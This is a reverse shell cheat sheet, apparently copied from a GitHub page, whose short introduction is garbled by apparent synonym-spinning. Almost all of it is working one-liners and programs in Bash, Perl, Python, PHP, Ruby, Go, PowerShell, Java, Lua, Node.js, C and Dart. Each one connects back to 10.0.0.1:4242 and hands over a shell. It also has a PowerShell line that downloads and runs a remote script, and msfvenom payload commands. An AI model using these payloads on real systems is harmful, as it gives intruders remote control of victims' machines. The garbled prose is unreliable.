Reverse Shell Cheat Sheet

Reverse Shell Cheat Sheet

If you’re lucky enough to discover a command execution vulnerability in the course of a penetration take a look at it, quite quickly afterward you’ll probably want an interactive shell.

If it’s no longer feasible to add a new account / SSH key / .rhosts record and simply log in, your subsequent step is possibly to be either trowing again an opposite shell or binding a shell to a TCP port.  This page offers with the previous.

Your options for creating an opposite shell are confined by using the scripting languages mounted on the goal system – even though you could probably upload a binary software too in case you’re suitably nicely prepared.

The examples shown are tailor-made to Unix-like structures.  Some of the examples underneath have to also work on Windows in case you use replacement “/bin/sh -i” with “cmd.Exe”.

Each of the methods beneath is aimed to be a one-liner that you could copy/paste.  As such they’re quite quick strains, however now not very readable.

Bash TCP

bash -i >& /dev/tcp/10.0.0.1/4242 0>&1
0<&196;exec 196<>/dev/tcp/10.0.0.1/4242; sh <&196 >&196 2>&196
/bin/bash -l > /dev/tcp/10.0.0.1/4242 0<&1 2>&1

Perl

perl -e 'use Socket;$i="10.0.0.1";$p=4242;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
perl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"10.0.0.1:4242");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'

NOTE: Windows only
perl -MIO -e '$c=new IO::Socket::INET(PeerAddr,"10.0.0.1:4242");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'

Python

export RHOST="10.0.0.1";export RPORT=4242;python -c 'import socket,os,pty;s=socket.socket();s.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("/bin/sh")'

python -c 'import socket,os,pty;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",4242));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn("/bin/sh")'

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",4242));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/sh","-i"])'

python -c 'import socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",4242));subprocess.call(["/bin/sh","-i"],stdin=s.fileno(),stdout=s.fileno(),stderr=s.fileno())'

IPv4 ( No Spaces)

python -c 'socket=__import__("socket");os=__import__("os");pty=__import__("pty");s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",4242));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn("/bin/sh")'

python -c 'socket=__import__("socket");subprocess=__import__("subprocess");os=__import__("os");s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",4242));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/sh","-i"])'

python -c 'socket=__import__("socket");subprocess=__import__("subprocess");s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",4242));subprocess.call(["/bin/sh","-i"],stdin=s.fileno(),stdout=s.fileno(),stderr=s.fileno())'

IPv4 (No Spaces, Shortened)

python -c 'a=__import__;s=a("socket");o=a("os").dup2;p=a("pty").spawn;c=s.socket(s.AF_INET,s.SOCK_STREAM);c.connect(("10.0.0.1",4242));f=c.fileno;o(f(),0);o(f(),1);o(f(),2);p("/bin/sh")'

python -c 'a=__import__;b=a("socket");p=a("subprocess").call;o=a("os").dup2;s=b.socket(b.AF_INET,b.SOCK_STREAM);s.connect(("10.0.0.1",4242));f=s.fileno;o(f(),0);o(f(),1);o(f(),2);p(["/bin/sh","-i"])'

python -c 'a=__import__;b=a("socket");c=a("subprocess").call;s=b.socket(b.AF_INET,b.SOCK_STREAM);s.connect(("10.0.0.1",4242));f=s.fileno;c(["/bin/sh","-i"],stdin=f(),stdout=f(),stderr=f())'

IPv4 (No Spaces, Shortened Further)

python -c 'a=__import__;s=a("socket").socket;o=a("os").dup2;p=a("pty").spawn;c=s();c.connect(("10.0.0.1",4242));f=c.fileno;o(f(),0);o(f(),1);o(f(),2);p("/bin/sh")'

python -c 'a=__import__;b=a("socket").socket;p=a("subprocess").call;o=a("os").dup2;s=b();s.connect(("10.0.0.1",4242));f=s.fileno;o(f(),0);o(f(),1);o(f(),2);p(["/bin/sh","-i"])'

python -c 'a=__import__;b=a("socket").socket;c=a("subprocess").call;s=b();s.connect(("10.0.0.1",4242));f=s.fileno;c(["/bin/sh","-i"],stdin=f(),stdout=f(),stderr=f())'

IPv6

python -c 'import socket,os,pty;s=socket.socket(socket.AF_INET6,socket.SOCK_STREAM);s.connect(("dead:beef:2::125c",4242,0,2));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn("/bin/sh")'

IPv6 (No Spaces)

python -c 'socket=__import__("socket");os=__import__("os");pty=__import__("pty");s=socket.socket(socket.AF_INET6,socket.SOCK_STREAM);s.connect(("dead:beef:2::125c",4242,0,2));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn("/bin/sh")'

IPv6 (No Spaces, Shortened)

python -c 'a=__import__;c=a("socket");o=a("os").dup2;p=a("pty").spawn;s=c.socket(c.AF_INET6,c.SOCK_STREAM);s.connect(("dead:beef:2::125c",4242,0,2));f=s.fileno;o(f(),0);o(f(),1);o(f(),2);p("/bin/sh")'

Windows only

C:\Python27\python.exe -c "(lambda __y, __g, __contextlib: [[[[[[[(s.connect(('10.0.0.1', 4242)), [[[(s2p_thread.start(), [[(p2s_thread.start(), (lambda __out: (lambda __ctx: [__ctx.__enter__(), __ctx.__exit__(None, None, None), __out[0](lambda: None)][2])(__contextlib.nested(type('except', (), {'__enter__': lambda self: None, '__exit__': lambda __self, __exctype, __value, __traceback: __exctype is not None and (issubclass(__exctype, KeyboardInterrupt) and [True for __out[0] in [((s.close(), lambda after: after())[1])]][0])})(), type('try', (), {'__enter__': lambda self: None, '__exit__': lambda __self, __exctype, __value, __traceback: [False for __out[0] in [((p.wait(), (lambda __after: __after()))[1])]][0]})())))([None]))[1] for p2s_thread.daemon in [(True)]][0] for __g['p2s_thread'] in [(threading.Thread(target=p2s, args=[s, p]))]][0])[1] for s2p_thread.daemon in [(True)]][0] for __g['s2p_thread'] in [(threading.Thread(target=s2p, args=[s, p]))]][0] for __g['p'] in [(subprocess.Popen(['\\windows\\system32\\cmd.exe'], stdout=subprocess.PIPE, stderr=subprocess.STDOUT, stdin=subprocess.PIPE))]][0])[1] for __g['s'] in [(socket.socket(socket.AF_INET, socket.SOCK_STREAM))]][0] for __g['p2s'], p2s.__name__ in [(lambda s, p: (lambda __l: [(lambda __after: __y(lambda __this: lambda: (__l['s'].send(__l['p'].stdout.read(1)), __this())[1] if True else __after())())(lambda: None) for __l['s'], __l['p'] in [(s, p)]][0])({}), 'p2s')]][0] for __g['s2p'], s2p.__name__ in [(lambda s, p: (lambda __l: [(lambda __after: __y(lambda __this: lambda: [(lambda __after: (__l['p'].stdin.write(__l['data']), __after())[1] if (len(__l['data']) > 0) else __after())(lambda: __this()) for __l['data'] in [(__l['s'].recv(1024))]][0] if True else __after())())(lambda: None) for __l['s'], __l['p'] in [(s, p)]][0])({}), 's2p')]][0] for __g['os'] in [(__import__('os', __g, __g))]][0] for __g['socket'] in [(__import__('socket', __g, __g))]][0] for __g['subprocess'] in [(__import__('subprocess', __g, __g))]][0] for __g['threading'] in [(__import__('threading', __g, __g))]][0])((lambda f: (lambda x: x(x))(lambda y: f(lambda: y(y)()))), globals(), __import__('contextlib'))"

PHP

php -r '$sock=fsockopen("10.0.0.1",4242);exec("/bin/sh -i <&3 >&3 2>&3");'
php -r '$sock=fsockopen("10.0.0.1",4242);shell_exec("/bin/sh -i <&3 >&3 2>&3");'
php -r '$sock=fsockopen("10.0.0.1",4242);`/bin/sh -i <&3 >&3 2>&3`;'
php -r '$sock=fsockopen("10.0.0.1",4242);system("/bin/sh -i <&3 >&3 2>&3");'
php -r '$sock=fsockopen("10.0.0.1",4242);passthru("/bin/sh -i <&3 >&3 2>&3");'
php -r '$sock=fsockopen("10.0.0.1",4242);popen("/bin/sh -i <&3 >&3 2>&3", "r");'

php -r '$sock=fsockopen("10.0.0.1",4242);$proc=proc_open("/bin/sh -i", array(0=>$sock, 1=>$sock, 2=>$sock),$pipes);'

Ruby

ruby -rsocket -e'f=TCPSocket.open("10.0.0.1",4242).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'

ruby -rsocket -e'exit if fork;c=TCPSocket.new("10.0.0.1","4242");loop{c.gets.chomp!;(exit! if $_=="exit");($_=~/cd (.+)/i?(Dir.chdir($1)):(IO.popen($_,?r){|io|c.print io.read}))rescue c.puts "failed: #{$_}"}'

NOTE: Windows only
ruby -rsocket -e 'c=TCPSocket.new("10.0.0.1","4242");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'

Golang

echo 'package main;import"os/exec";import"net";func main(){c,_:=net.Dial("tcp","10.0.0.1:4242");cmd:=exec.Command("/bin/sh");cmd.Stdin=c;cmd.Stdout=c;cmd.Stderr=c;cmd.Run()}' > /tmp/t.go && go run /tmp/t.go && rm /tmp/t.go

Powershell

powershell -NoP -NonI -W Hidden -Exec Bypass -Command New-Object System.Net.Sockets.TCPClient("10.0.0.1",4242);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2  = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()

powershell -nop -c "$client = New-Object System.Net.Sockets.TCPClient('10.0.0.1',4242);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"

powershell IEX (New-Object Net.WebClient).DownloadString('https://gist.githubusercontent.com/staaldraad/204928a6004e89553a8d3db0ce527fd5/raw/fe5f74ecfae7ec0f2d50895ecf9ab9dafe253ad4/mini-reverse.ps1')

Java

Runtime r = Runtime.getRuntime();
Process p = r.exec("/bin/bash -c 'exec 5<>/dev/tcp/10.0.0.1/4242;cat <&5 | while read line; do $line 2>&5 >&5; done'");
p.waitFor();

Windows and Linux

lua5.1 -e 'local host, port = "10.0.0.1", 4242 local socket = require("socket") local tcp = socket.tcp() local io = require("io") tcp:connect(host, port); while true do local cmd, status, partial = tcp:receive() local f = io.popen(cmd, "r") local s = f:read("*a") f:close() tcp:send(s) if status == "closed" then break end end tcp:close()'

NodeJS

(function(){
    var net = require("net"),
        cp = require("child_process"),
        sh = cp.spawn("/bin/sh", []);
    var client = new net.Socket();
    client.connect(4242, "10.0.0.1", function(){
        client.pipe(sh.stdin);
        sh.stdout.pipe(client);
        sh.stderr.pipe(client);
    });
    return /a/; // Prevents the Node.js application form crashing
})();


or

require('child_process').exec('nc -e /bin/sh 10.0.0.1 4242')

or

-var x = global.process.mainModule.require
-x('child_process').exec('nc 10.0.0.1 4242 -e /bin/bash')

or

https://gitlab.com/0x4ndr3/blog/blob/master/JSgen/JSgen.py

C

Compile with gcc /tmp/shell.c --output csh && csh

#include <stdio.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <stdlib.h>
#include <unistd.h>
#include <netinet/in.h>
#include <arpa/inet.h>

int main(void){
    int port = 4242;
    struct sockaddr_in revsockaddr;

    int sockt = socket(AF_INET, SOCK_STREAM, 0);
    revsockaddr.sin_family = AF_INET;       
    revsockaddr.sin_port = htons(port);
    revsockaddr.sin_addr.s_addr = inet_addr("10.0.0.1");

    connect(sockt, (struct sockaddr *) &revsockaddr, 
    sizeof(revsockaddr));
    dup2(sockt, 0);
    dup2(sockt, 1);
    dup2(sockt, 2);

    char * const argv[] = {"/bin/sh", NULL};
    execve("/bin/sh", argv, NULL);

    return 0;       
}

Dart

import 'dart:io';
import 'dart:convert';

main() {
  Socket.connect("10.0.0.1", 4242).then((socket) {
    socket.listen((data) {
      Process.start('powershell.exe', []).then((Process process) {
        process.stdin.writeln(new String.fromCharCodes(data).trim());
        process.stdout
          .transform(utf8.decoder)
          .listen((output) { socket.write(output); });
      });
    },
    onDone: () {
      socket.destroy();
    });
  });
}

Meterpreter Shell

Windows Staged reverse TCP

msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.0.0.1 LPORT=4242 -f exe > reverse.exe

Windows Stageless reverse TCP

msfvenom -p windows/shell_reverse_tcp LHOST=10.0.0.1 LPORT=4242 -f exe > reverse.exe

Linux Staged reverse TCP

msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=10.0.0.1 LPORT=4242 -f elf >reverse.elf

Linux Stageless reverse TCP

msfvenom -p linux/x86/shell_reverse_tcp LHOST=10.0.0.1 LPORT=4242 -f elf >reverse.elf

Other platforms

$ msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST="10.0.0.1" LPORT=4242 -f elf > shell.elf
$ msfvenom -p windows/meterpreter/reverse_tcp LHOST="10.0.0.1" LPORT=4242 -f exe > shell.exe
$ msfvenom -p osx/x86/shell_reverse_tcp LHOST="10.0.0.1" LPORT=4242 -f macho > shell.macho
$ msfvenom -p windows/meterpreter/reverse_tcp LHOST="10.0.0.1" LPORT=4242 -f asp > shell.asp
$ msfvenom -p java/jsp_shell_reverse_tcp LHOST="10.0.0.1" LPORT=4242 -f raw > shell.jsp
$ msfvenom -p java/jsp_shell_reverse_tcp LHOST="10.0.0.1" LPORT=4242 -f war > shell.war
$ msfvenom -p cmd/unix/reverse_python LHOST="10.0.0.1" LPORT=4242 -f raw > shell.py
$ msfvenom -p cmd/unix/reverse_bash LHOST="10.0.0.1" LPORT=4242 -f raw > shell.sh
$ msfvenom -p cmd/unix/reverse_perl LHOST="10.0.0.1" LPORT=4242 -f raw > shell.pl
$ msfvenom -p php/meterpreter_reverse_tcp LHOST="10.0.0.1" LPORT=4242 -f raw > shell.php; cat shell.php | pbcopy && echo '<?php ' | tr -d '\n' > shell.php && pbpaste >> shell.php

Source Github